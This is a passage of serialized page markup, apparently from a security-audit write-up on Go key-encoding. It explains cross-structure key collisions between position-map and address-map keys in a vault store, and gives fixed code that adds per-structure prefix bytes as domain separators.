key",{"type":25,"tag":271,"props":99790,"children":99791},{"style":13603},[99792],{"type":30,"value":89532},{"type":25,"tag":271,"props":99794,"children":99795},{"style":13598},[99796],{"type":30,"value":95347},{"type":25,"tag":271,"props":99798,"children":99799},{"style":13625},[99800],{"type":30,"value":1860},{"type":25,"tag":271,"props":99802,"children":99803},{"style":13620},[99804],{"type":30,"value":98336},{"type":25,"tag":271,"props":99806,"children":99807},{"style":13625},[99808],{"type":30,"value":16609},{"type":25,"tag":271,"props":99810,"children":99811},{"class":13593,"line":16953},[99812,99817],{"type":25,"tag":271,"props":99813,"children":99814},{"style":17388},[99815],{"type":30,"value":99816},"        \"%d%s%s%s%s\"",{"type":25,"tag":271,"props":99818,"children":99819},{"style":13625},[99820],{"type":30,"value":14351},{"type":25,"tag":271,"props":99822,"children":99823},{"class":13593,"line":16984},[99824,99829],{"type":25,"tag":271,"props":99825,"children":99826},{"style":13598},[99827],{"type":30,"value":99828},"        vaultId",{"type":25,"tag":271,"props":99830,"children":99831},{"style":13625},[99832],{"type":30,"value":14351},{"type":25,"tag":271,"props":99834,"children":99835},{"class":13593,"line":16992},[99836,99841],{"type":25,"tag":271,"props":99837,"children":99838},{"style":13598},[99839],{"type":30,"value":99840},"        Seperator",{"type":25,"tag":271,"props":99842,"children":99843},{"style":13625},[99844],{"type":30,"value":14351},{"type":25,"tag":271,"props":99846,"children":99847},{"class":13593,"line":17052},[99848,99853],{"type":25,"tag":271,"props":99849,"children":99850},{"style":13598},[99851],{"type":30,"value":99852},"        usernameEncoded",{"type":25,"tag":271,"props":99854,"children":99855},{"style":13625},[99856],{"type":30,"value":14351},{"type":25,"tag":271,"props":99858,"children":99859},{"class":13593,"line":22168},[99860,99864],{"type":25,"tag":271,"props":99861,"children":99862},{"style":13598},[99863],{"type":30,"value":99840},{"type":25,"tag":271,"props":99865,"children":99866},{"style":13625},[99867],{"type":30,"value":14351},{"type":25,"tag":271,"props":99869,"children":99870},{"class":13593,"line":22186},[99871,99876],{"type":25,"tag":271,"props":99872,"children":99873},{"style":13598},[99874],{"type":30,"value":99875},"        positionNameEncoded",{"type":25,"tag":271,"props":99877,"children":99878},{"style":13625},[99879],{"type":30,"value":14351},{"type":25,"tag":271,"props":99881,"children":99882},{"class":13593,"line":22231},[99883],{"type":25,"tag":271,"props":99884,"children":99885},{"style":13625},[99886],{"type":30,"value":37029},{"type":25,"tag":271,"props":99888,"children":99889},{"class":13593,"line":22337},[99890],{"type":25,"tag":271,"props":99891,"children":99892},{"style":13625},[99893],{"type":30,"value":17058},{"type":25,"tag":271,"props":99895,"children":99896},{"class":13593,"line":36608},[99897],{"type":25,"tag":271,"props":99898,"children":99899},{"emptyLinePlaceholder":18},[99900],{"type":30,"value":16829},{"type":25,"tag":271,"props":99902,"children":99903},{"class":13593,"line":36643},[99904],{"type":25,"tag":271,"props":99905,"children":99906},{"emptyLinePlaceholder":18},[99907],{"type":30,"value":16829},{"type":25,"tag":271,"props":99909,"children":99910},{"class":13593,"line":36651},[99911,99915,99920],{"type":25,"tag":271,"props":99912,"children":99913},{"style":14289},[99914],{"type":30,"value":89416},{"type":25,"tag":271,"props":99916,"children":99917},{"style":13620},[99918],{"type":30,"value":99919}," AddressMapKey",{"type":25,"tag":271,"props":99921,"children":99922},{"style":13625},[99923],{"type":30,"value":16609},{"type":25,"tag":271,"props":99925,"children":99926},{"class":13593,"line":36659},[99927,99931,99935],{"type":25,"tag":271,"props":99928,"children":99929},{"style":13598},[99930],{"type":30,"value":98360},{"type":25,"tag":271,"props":99932,"children":99933},{"style":13609},[99934],{"type":30,"value":89537},{"type":25,"tag":271,"props":99936,"children":99937},{"style":13625},[99938],{"type":30,"value":14351},{"type":25,"tag":271,"props":99940,"children":99941},{"class":13593,"line":36668},[99942,99946,99950,99955,99959],{"type":25,"tag":271,"props":99943,"children":99944},{"style":13598},[99945],{"type":30,"value":98372},{"type":25,"tag":271,"props":99947,"children":99948},{"style":13625},[99949],{"type":30,"value":44},{"type":25,"tag":271,"props":99951,"children":99952},{"style":13598},[99953],{"type":30,"value":99954},"addressName",{"type":25,"tag":271,"props":99956,"children":99957},{"style":13625},[99958],{"type":30,"value":89343},{"type":25,"tag":271,"props":99960,"children":99961},{"style":13609},[99962],{"type":30,"value":97341},{"type":25,"tag":271,"props":99964,"children":99965},{"class":13593,"line":36710},[99966,99970,99974,99978,99982],{"type":25,"tag":271,"props":99967,"children":99968},{"style":13625},[99969],{"type":30,"value":89498},{"type":25,"tag":271,"props":99971,"children":99972},{"style":13598},[99973],{"type":30,"value":85270},{"type":25,"tag":271,"props":99975,"children":99976},{"style":13625},[99977],{"type":30,"value":89343},{"type":25,"tag":271,"props":99979,"children":99980},{"style":13609},[99981],{"type":30,"value":97878},{"type":25,"tag":271,"props":99983,"children":99984},{"style":13625},[99985],{"type":30,"value":27925},{"type":25,"tag":271,"props":99987,"children":99988},{"class":13593,"line":36743},[99989,99993,99997,100001],{"type":25,"tag":271,"props":99990,"children":99991},{"style":13598},[99992],{"type":30,"value":98974},{"type":25,"tag":271,"props":99994,"children":99995},{"style":13603},[99996],{"type":30,"value":89532},{"type":25,"tag":271,"props":99998,"children":99999},{"style":13620},[100000],{"type":30,"value":98677},{"type":25,"tag":271,"props":100002,"children":100003},{"style":13625},[100004],{"type":30,"value":16609},{"type":25,"tag":271,"props":100006,"children":100007},{"class":13593,"line":36751},[100008,100012,100016],{"type":25,"tag":271,"props":100009,"children":100010},{"style":13625},[100011],{"type":30,"value":99568},{"type":25,"tag":271,"props":100013,"children":100014},{"style":13609},[100015],{"type":30,"value":97878},{"type":25,"tag":271,"props":100017,"children":100018},{"style":13625},[100019],{"type":30,"value":14351},{"type":25,"tag":271,"props":100021,"children":100022},{"class":13593,"line":36759},[100023,100027,100031,100035,100039,100043,100047,100051],{"type":25,"tag":271,"props":100024,"children":100025},{"style":13598},[100026],{"type":30,"value":99584},{"type":25,"tag":271,"props":100028,"children":100029},{"style":13625},[100030],{"type":30,"value":1860},{"type":25,"tag":271,"props":100032,"children":100033},{"style":13620},[100034],{"type":30,"value":98714},{"type":25,"tag":271,"props":100036,"children":100037},{"style":13625},[100038],{"type":30,"value":394},{"type":25,"tag":271,"props":100040,"children":100041},{"style":13620},[100042],{"type":30,"value":22261},{"type":25,"tag":271,"props":100044,"children":100045},{"style":13625},[100046],{"type":30,"value":394},{"type":25,"tag":271,"props":100048,"children":100049},{"style":13598},[100050],{"type":30,"value":98584},{"type":25,"tag":271,"props":100052,"children":100053},{"style":13625},[100054],{"type":30,"value":98735},{"type":25,"tag":271,"props":100056,"children":100057},{"class":13593,"line":36768},[100058],{"type":25,"tag":271,"props":100059,"children":100060},{"style":13625},[100061],{"type":30,"value":37029},{"type":25,"tag":271,"props":100063,"children":100064},{"class":13593,"line":36844},[100065,100069,100073,100077,100081,100085,100089,100093],{"type":25,"tag":271,"props":100066,"children":100067},{"style":13598},[100068],{"type":30,"value":98705},{"type":25,"tag":271,"props":100070,"children":100071},{"style":13625},[100072],{"type":30,"value":1860},{"type":25,"tag":271,"props":100074,"children":100075},{"style":13620},[100076],{"type":30,"value":98759},{"type":25,"tag":271,"props":100078,"children":100079},{"style":13625},[100080],{"type":30,"value":394},{"type":25,"tag":271,"props":100082,"children":100083},{"style":13598},[100084],{"type":30,"value":98668},{"type":25,"tag":271,"props":100086,"children":100087},{"style":13625},[100088],{"type":30,"value":44},{"type":25,"tag":271,"props":100090,"children":100091},{"style":13598},[100092],{"type":30,"value":98584},{"type":25,"tag":271,"props":100094,"children":100095},{"style":13625},[100096],{"type":30,"value":16299},{"type":25,"tag":271,"props":100098,"children":100099},{"class":13593,"line":36877},[100100],{"type":25,"tag":271,"props":100101,"children":100102},{"emptyLinePlaceholder":18},[100103],{"type":30,"value":16829},{"type":25,"tag":271,"props":100105,"children":100106},{"class":13593,"line":36885},[100107,100112,100116,100120],{"type":25,"tag":271,"props":100108,"children":100109},{"style":13598},[100110],{"type":30,"value":100111},"    addressNameEncoded",{"type":25,"tag":271,"props":100113,"children":100114},{"style":13603},[100115],{"type":30,"value":89532},{"type":25,"tag":271,"props":100117,"children":100118},{"style":13620},[100119],{"type":30,"value":98677},{"type":25,"tag":271,"props":100121,"children":100122},{"style":13625},[100123],{"type":30,"value":16609},{"type":25,"tag":271,"props":100125,"children":100126},{"class":13593,"line":36893},[100127,100131,100135],{"type":25,"tag":271,"props":100128,"children":100129},{"style":13625},[100130],{"type":30,"value":99568},{"type":25,"tag":271,"props":100132,"children":100133},{"style":13609},[100134],{"type":30,"value":97878},{"type":25,"tag":271,"props":100136,"children":100137},{"style":13625},[100138],{"type":30,"value":14351},{"type":25,"tag":271,"props":100140,"children":100141},{"class":13593,"line":36930},[100142,100146,100150,100154,100158,100162,100166,100170],{"type":25,"tag":271,"props":100143,"children":100144},{"style":13598},[100145],{"type":30,"value":99584},{"type":25,"tag":271,"props":100147,"children":100148},{"style":13625},[100149],{"type":30,"value":1860},{"type":25,"tag":271,"props":100151,"children":100152},{"style":13620},[100153],{"type":30,"value":98714},{"type":25,"tag":271,"props":100155,"children":100156},{"style":13625},[100157],{"type":30,"value":394},{"type":25,"tag":271,"props":100159,"children":100160},{"style":13620},[100161],{"type":30,"value":22261},{"type":25,"tag":271,"props":100163,"children":100164},{"style":13625},[100165],{"type":30,"value":394},{"type":25,"tag":271,"props":100167,"children":100168},{"style":13598},[100169],{"type":30,"value":99954},{"type":25,"tag":271,"props":100171,"children":100172},{"style":13625},[100173],{"type":30,"value":98735},{"type":25,"tag":271,"props":100175,"children":100176},{"class":13593,"line":36943},[100177],{"type":25,"tag":271,"props":100178,"children":100179},{"style":13625},[100180],{"type":30,"value":37029},{"type":25,"tag":271,"props":100182,"children":100183},{"class":13593,"line":36956},[100184,100188,100192,100196,100200,100205,100209,100213],{"type":25,"tag":271,"props":100185,"children":100186},{"style":13598},[100187],{"type":30,"value":98705},{"type":25,"tag":271,"props":100189,"children":100190},{"style":13625},[100191],{"type":30,"value":1860},{"type":25,"tag":271,"props":100193,"children":100194},{"style":13620},[100195],{"type":30,"value":98759},{"type":25,"tag":271,"props":100197,"children":100198},{"style":13625},[100199],{"type":30,"value":394},{"type":25,"tag":271,"props":100201,"children":100202},{"style":13598},[100203],{"type":30,"value":100204},"addressNameEncoded",{"type":25,"tag":271,"props":100206,"children":100207},{"style":13625},[100208],{"type":30,"value":44},{"type":25,"tag":271,"props":100210,"children":100211},{"style":13598},[100212],{"type":30,"value":99954},{"type":25,"tag":271,"props":100214,"children":100215},{"style":13625},[100216],{"type":30,"value":16299},{"type":25,"tag":271,"props":100218,"children":100219},{"class":13593,"line":36969},[100220],{"type":25,"tag":271,"props":100221,"children":100222},{"emptyLinePlaceholder":18},[100223],{"type":30,"value":16829},{"type":25,"tag":271,"props":100225,"children":100226},{"class":13593,"line":37023},[100227,100231,100235,100239,100243,100247],{"type":25,"tag":271,"props":100228,"children":100229},{"style":13598},[100230],{"type":30,"value":99788},{"type":25,"tag":271,"props":100232,"children":100233},{"style":13603},[100234],{"type":30,"value":89532},{"type":25,"tag":271,"props":100236,"children":100237},{"style":13598},[100238],{"type":30,"value":95347},{"type":25,"tag":271,"props":100240,"children":100241},{"style":13625},[100242],{"type":30,"value":1860},{"type":25,"tag":271,"props":100244,"children":100245},{"style":13620},[100246],{"type":30,"value":98336},{"type":25,"tag":271,"props":100248,"children":100249},{"style":13625},[100250],{"type":30,"value":16609},{"type":25,"tag":271,"props":100252,"children":100253},{"class":13593,"line":37032},[100254,100258],{"type":25,"tag":271,"props":100255,"children":100256},{"style":17388},[100257],{"type":30,"value":99816},{"type":25,"tag":271,"props":100259,"children":100260},{"style":13625},[100261],{"type":30,"value":14351},{"type":25,"tag":271,"props":100263,"children":100264},{"class":13593,"line":45393},[100265,100269],{"type":25,"tag":271,"props":100266,"children":100267},{"style":13598},[100268],{"type":30,"value":99828},{"type":25,"tag":271,"props":100270,"children":100271},{"style":13625},[100272],{"type":30,"value":14351},{"type":25,"tag":271,"props":100274,"children":100275},{"class":13593,"line":45414},[100276,100280],{"type":25,"tag":271,"props":100277,"children":100278},{"style":13598},[100279],{"type":30,"value":99840},{"type":25,"tag":271,"props":100281,"children":100282},{"style":13625},[100283],{"type":30,"value":14351},{"type":25,"tag":271,"props":100285,"children":100286},{"class":13593,"line":94064},[100287,100291],{"type":25,"tag":271,"props":100288,"children":100289},{"style":13598},[100290],{"type":30,"value":99852},{"type":25,"tag":271,"props":100292,"children":100293},{"style":13625},[100294],{"type":30,"value":14351},{"type":25,"tag":271,"props":100296,"children":100297},{"class":13593,"line":94077},[100298,100302],{"type":25,"tag":271,"props":100299,"children":100300},{"style":13598},[100301],{"type":30,"value":99840},{"type":25,"tag":271,"props":100303,"children":100304},{"style":13625},[100305],{"type":30,"value":14351},{"type":25,"tag":271,"props":100307,"children":100308},{"class":13593,"line":94085},[100309,100314],{"type":25,"tag":271,"props":100310,"children":100311},{"style":13598},[100312],{"type":30,"value":100313},"        addressNameEncoded",{"type":25,"tag":271,"props":100315,"children":100316},{"style":13625},[100317],{"type":30,"value":14351},{"type":25,"tag":271,"props":100319,"children":100320},{"class":13593,"line":94093},[100321],{"type":25,"tag":271,"props":100322,"children":100323},{"style":13625},[100324],{"type":30,"value":37029},{"type":25,"tag":271,"props":100326,"children":100327},{"class":13593,"line":94101},[100328],{"type":25,"tag":271,"props":100329,"children":100330},{"style":13625},[100331],{"type":30,"value":17058},{"type":25,"tag":26,"props":100333,"children":100334},{},[100335,100337,100342],{"type":30,"value":100336},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":25,"tag":264,"props":100338,"children":100340},{"className":100339},[],[100341],{"type":30,"value":98090},{"type":30,"value":100343},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":25,"tag":7764,"props":100345,"children":100347},{"code":100346},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[100348],{"type":25,"tag":264,"props":100349,"children":100350},{"__ignoreMap":7},[100351],{"type":30,"value":100346},{"type":25,"tag":26,"props":100353,"children":100354},{},[100355],{"type":30,"value":100356},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":25,"tag":7764,"props":100358,"children":100360},{"code":100359,"language":89280,"meta":7,"className":89281,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[100361],{"type":25,"tag":264,"props":100362,"children":100363},{"__ignoreMap":7},[100364,100375,100390,100417,100442,100449,100456,100463,100478,100493,100520,100543,100562,100577,100612,100619,100654,100661,100680,100695,100730,100737,100772,100779,100806,100818,100830,100841,100852,100863,100874,100885,100892,100899,100906,100913,100928,100943,100970,100993,101012,101027,101062,101069,101104,101111,101130,101145,101180,101187,101222,101229,101256,101267,101279,101290,101301,101312,101323,101334,101342],{"type":25,"tag":271,"props":100365,"children":100366},{"class":13593,"line":13594},[100367,100371],{"type":25,"tag":271,"props":100368,"children":100369},{"style":14289},[100370],{"type":30,"value":22778},{"type":25,"tag":271,"props":100372,"children":100373},{"style":13625},[100374],{"type":30,"value":91679},{"type":25,"tag":271,"props":100376,"children":100377},{"class":13593,"line":11641},[100378,100382,100386],{"type":25,"tag":271,"props":100379,"children":100380},{"style":13598},[100381],{"type":30,"value":98444},{"type":25,"tag":271,"props":100383,"children":100384},{"style":13603},[100385],{"type":30,"value":16155},{"type":25,"tag":271,"props":100387,"children":100388},{"style":17388},[100389],{"type":30,"value":98453},{"type":25,"tag":271,"props":100391,"children":100392},{"class":13593,"line":14354},[100393,100398,100402,100407,100412],{"type":25,"tag":271,"props":100394,"children":100395},{"style":13598},[100396],{"type":30,"value":100397},"    PositionMapPrefix",{"type":25,"tag":271,"props":100399,"children":100400},{"style":13603},[100401],{"type":30,"value":16155},{"type":25,"tag":271,"props":100403,"children":100404},{"style":17388},[100405],{"type":30,"value":100406}," \"",{"type":25,"tag":271,"props":100408,"children":100409},{"style":61489},[100410],{"type":30,"value":100411},"\\x01",{"type":25,"tag":271,"props":100413,"children":100414},{"style":17388},[100415],{"type":30,"value":100416},"\"\n",{"type":25,"tag":271,"props":100418,"children":100419},{"class":13593,"line":14391},[100420,100425,100429,100433,100438],{"type":25,"tag":271,"props":100421,"children":100422},{"style":13598},[100423],{"type":30,"value":100424},"    AddressMapPrefix",{"type":25,"tag":271,"props":100426,"children":100427},{"style":13603},[100428],{"type":30,"value":16155},{"type":25,"tag":271,"props":100430,"children":100431},{"style":17388},[100432],{"type":30,"value":100406},{"type":25,"tag":271,"props":100434,"children":100435},{"style":61489},[100436],{"type":30,"value":100437},"\\x02",{"type":25,"tag":271,"props":100439,"children":100440},{"style":17388},[100441],{"type":30,"value":100416},{"type":25,"tag":271,"props":100443,"children":100444},{"class":13593,"line":14400},[100445],{"type":25,"tag":271,"props":100446,"children":100447},{"style":13625},[100448],{"type":30,"value":16299},{"type":25,"tag":271,"props":100450,"children":100451},{"class":13593,"line":16406},[100452],{"type":25,"tag":271,"props":100453,"children":100454},{"emptyLinePlaceholder":18},[100455],{"type":30,"value":16829},{"type":25,"tag":271,"props":100457,"children":100458},{"class":13593,"line":16434},[100459],{"type":25,"tag":271,"props":100460,"children":100461},{"emptyLinePlaceholder":18},[100462],{"type":30,"value":16829},{"type":25,"tag":271,"props":100464,"children":100465},{"class":13593,"line":16447},[100466,100470,100474],{"type":25,"tag":271,"props":100467,"children":100468},{"style":14289},[100469],{"type":30,"value":89416},{"type":25,"tag":271,"props":100471,"children":100472},{"style":13620},[100473],{"type":30,"value":99472},{"type":25,"tag":271,"props":100475,"children":100476},{"style":13625},[100477],{"type":30,"value":16609},{"type":25,"tag":271,"props":100479,"children":100480},{"class":13593,"line":16465},[100481,100485,100489],{"type":25,"tag":271,"props":100482,"children":100483},{"style":13598},[100484],{"type":30,"value":98360},{"type":25,"tag":271,"props":100486,"children":100487},{"style":13609},[100488],{"type":30,"value":89537},{"type":25,"tag":271,"props":100490,"children":100491},{"style":13625},[100492],{"type":30,"value":14351},{"type":25,"tag":271,"props":100494,"children":100495},{"class":13593,"line":16486},[100496,100500,100504,100508,100512,100516],{"type":25,"tag":271,"props":100497,"children":100498},{"style":13598},[100499],{"type":30,"value":98372},{"type":25,"tag":271,"props":100501,"children":100502},{"style":13625},[100503],{"type":30,"value":44},{"type":25,"tag":271,"props":100505,"children":100506},{"style":13598},[100507],{"type":30,"value":98853},{"type":25,"tag":271,"props":100509,"children":100510},{"style":13625},[100511],{"type":30,"value":89343},{"type":25,"tag":271,"props":100513,"children":100514},{"style":13609},[100515],{"type":30,"value":97878},{"type":25,"tag":271,"props":100517,"children":100518},{"style":13625},[100519],{"type":30,"value":14351},{"type":25,"tag":271,"props":100521,"children":100522},{"class":13593,"line":16495},[100523,100527,100531,100535,100539],{"type":25,"tag":271,"props":100524,"children":100525},{"style":13625},[100526],{"type":30,"value":89498},{"type":25,"tag":271,"props":100528,"children":100529},{"style":13598},[100530],{"type":30,"value":85270},{"type":25,"tag":271,"props":100532,"children":100533},{"style":13625},[100534],{"type":30,"value":89343},{"type":25,"tag":271,"props":100536,"children":100537},{"style":13609},[100538],{"type":30,"value":97878},{"type":25,"tag":271,"props":100540,"children":100541},{"style":13625},[100542],{"type":30,"value":27925},{"type":25,"tag":271,"props":100544,"children":100545},{"class":13593,"line":16744},[100546,100550,100554,100558],{"type":25,"tag":271,"props":100547,"children":100548},{"style":13598},[100549],{"type":30,"value":98974},{"type":25,"tag":271,"props":100551,"children":100552},{"style":13603},[100553],{"type":30,"value":89532},{"type":25,"tag":271,"props":100555,"children":100556},{"style":13620},[100557],{"type":30,"value":98677},{"type":25,"tag":271,"props":100559,"children":100560},{"style":13625},[100561],{"type":30,"value":16609},{"type":25,"tag":271,"props":100563,"children":100564},{"class":13593,"line":16761},[100565,100569,100573],{"type":25,"tag":271,"props":100566,"children":100567},{"style":13625},[100568],{"type":30,"value":99568},{"type":25,"tag":271,"props":100570,"children":100571},{"style":13609},[100572],{"type":30,"value":97878},{"type":25,"tag":271,"props":100574,"children":100575},{"style":13625},[100576],{"type":30,"value":14351},{"type":25,"tag":271,"props":100578,"children":100579},{"class":13593,"line":16778},[100580,100584,100588,100592,100596,100600,100604,100608],{"type":25,"tag":271,"props":100581,"children":100582},{"style":13598},[100583],{"type":30,"value":99584},{"type":25,"tag":271,"props":100585,"children":100586},{"style":13625},[100587],{"type":30,"value":1860},{"type":25,"tag":271,"props":100589,"children":100590},{"style":13620},[100591],{"type":30,"value":98714},{"type":25,"tag":271,"props":100593,"children":100594},{"style":13625},[100595],{"type":30,"value":394},{"type":25,"tag":271,"props":100597,"children":100598},{"style":13620},[100599],{"type":30,"value":22261},{"type":25,"tag":271,"props":100601,"children":100602},{"style":13625},[100603],{"type":30,"value":394},{"type":25,"tag":271,"props":100605,"children":100606},{"style":13598},[100607],{"type":30,"value":98584},{"type":25,"tag":271,"props":100609,"children":100610},{"style":13625},[100611],{"type":30,"value":98735},{"type":25,"tag":271,"props":100613,"children":100614},{"class":13593,"line":16791},[100615],{"type":25,"tag":271,"props":100616,"children":100617},{"style":13625},[100618],{"type":30,"value":37029},{"type":25,"tag":271,"props":100620,"children":100621},{"class":13593,"line":16800},[100622,100626,100630,100634,100638,100642,100646,100650],{"type":25,"tag":271,"props":100623,"children":100624},{"style":13598},[100625],{"type":30,"value":98705},{"type":25,"tag":271,"props":100627,"children":100628},{"style":13625},[100629],{"type":30,"value":1860},{"type":25,"tag":271,"props":100631,"children":100632},{"style":13620},[100633],{"type":30,"value":98759},{"type":25,"tag":271,"props":100635,"children":100636},{"style":13625},[100637],{"type":30,"value":394},{"type":25,"tag":271,"props":100639,"children":100640},{"style":13598},[100641],{"type":30,"value":98668},{"type":25,"tag":271,"props":100643,"children":100644},{"style":13625},[100645],{"type":30,"value":44},{"type":25,"tag":271,"props":100647,"children":100648},{"style":13598},[100649],{"type":30,"value":98584},{"type":25,"tag":271,"props":100651,"children":100652},{"style":13625},[100653],{"type":30,"value":16299},{"type":25,"tag":271,"props":100655,"children":100656},{"class":13593,"line":16823},[100657],{"type":25,"tag":271,"props":100658,"children":100659},{"emptyLinePlaceholder":18},[100660],{"type":30,"value":16829},{"type":25,"tag":271,"props":100662,"children":100663},{"class":13593,"line":16832},[100664,100668,100672,100676],{"type":25,"tag":271,"props":100665,"children":100666},{"style":13598},[100667],{"type":30,"value":99669},{"type":25,"tag":271,"props":100669,"children":100670},{"style":13603},[100671],{"type":30,"value":89532},{"type":25,"tag":271,"props":100673,"children":100674},{"style":13620},[100675],{"type":30,"value":98677},{"type":25,"tag":271,"props":100677,"children":100678},{"style":13625},[100679],{"type":30,"value":16609},{"type":25,"tag":271,"props":100681,"children":100682},{"class":13593,"line":16841},[100683,100687,100691],{"type":25,"tag":271,"props":100684,"children":100685},{"style":13625},[100686],{"type":30,"value":99568},{"type":25,"tag":271,"props":100688,"children":100689},{"style":13609},[100690],{"type":30,"value":97878},{"type":25,"tag":271,"props":100692,"children":100693},{"style":13625},[100694],{"type":30,"value":14351},{"type":25,"tag":271,"props":100696,"children":100697},{"class":13593,"line":16907},[100698,100702,100706,100710,100714,100718,100722,100726],{"type":25,"tag":271,"props":100699,"children":100700},{"style":13598},[100701],{"type":30,"value":99584},{"type":25,"tag":271,"props":100703,"children":100704},{"style":13625},[100705],{"type":30,"value":1860},{"type":25,"tag":271,"props":100707,"children":100708},{"style":13620},[100709],{"type":30,"value":98714},{"type":25,"tag":271,"props":100711,"children":100712},{"style":13625},[100713],{"type":30,"value":394},{"type":25,"tag":271,"props":100715,"children":100716},{"style":13620},[100717],{"type":30,"value":22261},{"type":25,"tag":271,"props":100719,"children":100720},{"style":13625},[100721],{"type":30,"value":394},{"type":25,"tag":271,"props":100723,"children":100724},{"style":13598},[100725],{"type":30,"value":98853},{"type":25,"tag":271,"props":100727,"children":100728},{"style":13625},[100729],{"type":30,"value":98735},{"type":25,"tag":271,"props":100731,"children":100732},{"class":13593,"line":16915},[100733],{"type":25,"tag":271,"props":100734,"children":100735},{"style":13625},[100736],{"type":30,"value":37029},{"type":25,"tag":271,"props":100738,"children":100739},{"class":13593,"line":16945},[100740,100744,100748,100752,100756,100760,100764,100768],{"type":25,"tag":271,"props":100741,"children":100742},{"style":13598},[100743],{"type":30,"value":98705},{"type":25,"tag":271,"props":100745,"children":100746},{"style":13625},[100747],{"type":30,"value":1860},{"type":25,"tag":271,"props":100749,"children":100750},{"style":13620},[100751],{"type":30,"value":98759},{"type":25,"tag":271,"props":100753,"children":100754},{"style":13625},[100755],{"type":30,"value":394},{"type":25,"tag":271,"props":100757,"children":100758},{"style":13598},[100759],{"type":30,"value":98794},{"type":25,"tag":271,"props":100761,"children":100762},{"style":13625},[100763],{"type":30,"value":44},{"type":25,"tag":271,"props":100765,"children":100766},{"style":13598},[100767],{"type":30,"value":98853},{"type":25,"tag":271,"props":100769,"children":100770},{"style":13625},[100771],{"type":30,"value":16299},{"type":25,"tag":271,"props":100773,"children":100774},{"class":13593,"line":16953},[100775],{"type":25,"tag":271,"props":100776,"children":100777},{"emptyLinePlaceholder":18},[100778],{"type":30,"value":16829},{"type":25,"tag":271,"props":100780,"children":100781},{"class":13593,"line":16984},[100782,100786,100790,100794,100798,100802],{"type":25,"tag":271,"props":100783,"children":100784},{"style":13598},[100785],{"type":30,"value":99788},{"type":25,"tag":271,"props":100787,"children":100788},{"style":13603},[100789],{"type":30,"value":89532},{"type":25,"tag":271,"props":100791,"children":100792},{"style":13598},[100793],{"type":30,"value":95347},{"type":25,"tag":271,"props":100795,"children":100796},{"style":13625},[100797],{"type":30,"value":1860},{"type":25,"tag":271,"props":100799,"children":100800},{"style":13620},[100801],{"type":30,"value":98336},{"type":25,"tag":271,"props":100803,"children":100804},{"style":13625},[100805],{"type":30,"value":16609},{"type":25,"tag":271,"props":100807,"children":100808},{"class":13593,"line":16992},[100809,100814],{"type":25,"tag":271,"props":100810,"children":100811},{"style":17388},[100812],{"type":30,"value":100813},"        \"%s%d%s%s%s%s\"",{"type":25,"tag":271,"props":100815,"children":100816},{"style":13625},[100817],{"type":30,"value":14351},{"type":25,"tag":271,"props":100819,"children":100820},{"class":13593,"line":17052},[100821,100826],{"type":25,"tag":271,"props":100822,"children":100823},{"style":13598},[100824],{"type":30,"value":100825},"        PositionMapPrefix",{"type":25,"tag":271,"props":100827,"children":100828},{"style":13625},[100829],{"type":30,"value":14351},{"type":25,"tag":271,"props":100831,"children":100832},{"class":13593,"line":22168},[100833,100837],{"type":25,"tag":271,"props":100834,"children":100835},{"style":13598},[100836],{"type":30,"value":99828},{"type":25,"tag":271,"props":100838,"children":100839},{"style":13625},[100840],{"type":30,"value":14351},{"type":25,"tag":271,"props":100842,"children":100843},{"class":13593,"line":22186},[100844,100848],{"type":25,"tag":271,"props":100845,"children":100846},{"style":13598},[100847],{"type":30,"value":99840},{"type":25,"tag":271,"props":100849,"children":100850},{"style":13625},[100851],{"type":30,"value":14351},{"type":25,"tag":271,"props":100853,"children":100854},{"class":13593,"line":22231},[100855,100859],{"type":25,"tag":271,"props":100856,"children":100857},{"style":13598},[100858],{"type":30,"value":99852},{"type":25,"tag":271,"props":100860,"children":100861},{"style":13625},[100862],{"type":30,"value":14351},{"type":25,"tag":271,"props":100864,"children":100865},{"class":13593,"line":22337},[100866,100870],{"type":25,"tag":271,"props":100867,"children":100868},{"style":13598},[100869],{"type":30,"value":99840},{"type":25,"tag":271,"props":100871,"children":100872},{"style":13625},[100873],{"type":30,"value":14351},{"type":25,"tag":271,"props":100875,"children":100876},{"class":13593,"line":36608},[100877,100881],{"type":25,"tag":271,"props":100878,"children":100879},{"style":13598},[100880],{"type":30,"value":99875},{"type":25,"tag":271,"props":100882,"children":100883},{"style":13625},[100884],{"type":30,"value":14351},{"type":25,"tag":271,"props":100886,"children":100887},{"class":13593,"line":36643},[100888],{"type":25,"tag":271,"props":100889,"children":100890},{"style":13625},[100891],{"type":30,"value":37029},{"type":25,"tag":271,"props":100893,"children":100894},{"class":13593,"line":36651},[100895],{"type":25,"tag":271,"props":100896,"children":100897},{"style":13625},[100898],{"type":30,"value":17058},{"type":25,"tag":271,"props":100900,"children":100901},{"class":13593,"line":36659},[100902],{"type":25,"tag":271,"props":100903,"children":100904},{"emptyLinePlaceholder":18},[100905],{"type":30,"value":16829},{"type":25,"tag":271,"props":100907,"children":100908},{"class":13593,"line":3